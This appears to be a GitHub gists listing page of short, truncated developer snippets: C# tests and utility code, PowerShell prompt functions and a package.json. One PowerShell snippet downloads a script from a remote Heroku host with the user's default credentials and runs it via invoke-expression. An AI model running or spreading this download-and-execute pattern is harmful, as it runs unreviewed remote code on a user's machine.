This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"name": "scalac", | |
"version": "0.0.1", | |
"description": "jsonified SCA calendar data", | |
"author": "Ang3lFir3", | |
"dependencies": { | |
"ical": "*" | |
}, | |
"engines": { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$client = new-object System.Net.WebClient | |
$client.UseDefaultCredentials = $true | |
invoke-expression $client.DownloadString("http://byebye.heroku.com/byebye") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function prompt { | |
$path = (Get-Location).Path | |
if ($path.Length -gt 45) | |
{ | |
$path = Get-Prompt($path); | |
} | |
"$path>" | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class transforming_files : nspec | |
{ | |
void with_a_file_transformer () | |
{ | |
var logger = Substitute.For<ILogger>(); | |
var reader = Substitute.For<IFileReader>(); | |
var writer = Substitute.For<IFileWriter>(); | |
var subject = new FileTransformer(reader, writer){Logger = logger}; | |
before = () => subject.Shazam(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[TestFixture] | |
public class DebuggerShim | |
{ | |
[Test] | |
public void AllTests() | |
{ | |
var finder = new ShimFinder(typeof(DebuggerShim).Assembly.GetTypes()); | |
var builder = new ContextBuilder(finder, new DefaultConventions()); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public string ReportParamOutputRMFFile | |
{ | |
get | |
{ | |
return this.m_sOutputRMF; | |
} | |
set | |
{ | |
if ((value.Length == 0) | (value.Length > 12)) | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
try | |
{ | |
EventReporter.AppendEvent("-- looking for items logged after " + ImexHistLogStartTime + ".", LogEventReporter.Criticality.Information); | |
if (ImexHistLoggedItemTimes.Count == 0) | |
{ | |
EventReporter.AppendEvent("No events appear in the log on or after " + ImexHistLogStartTime + ".", LogEventReporter.Criticality.Warning); | |
throw new Exception("No Events appear in the log on or after " + ImexHistLogStartTime + "."); | |
} | |
} | |
catch (Exception exception3) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public IDictionary<int, SourcePrice> GetSourcePricingData(DateTime effectiveDate) | |
{ | |
IDictionary<string, SourcePrice> exceptions = new Dictionary<string, SourcePrice>(); | |
return GetSourcePricingData(effectiveDate, out exceptions); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
public class Foo | |
{ | |
public static void Main() | |
{ | |
int insideCounter = 0; | |
var iteration = 60000000; | |
var randomiser = new Random((int)DateTime.Now.Ticks); | |
for(var i = 0; i < iteration; i++) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[AttributeUsage(AttributeTargets.Parameter, AllowMultiple = false)] | |
public class HanselParameterAttribute : Attribute | |
{ | |
} |
NewerOlder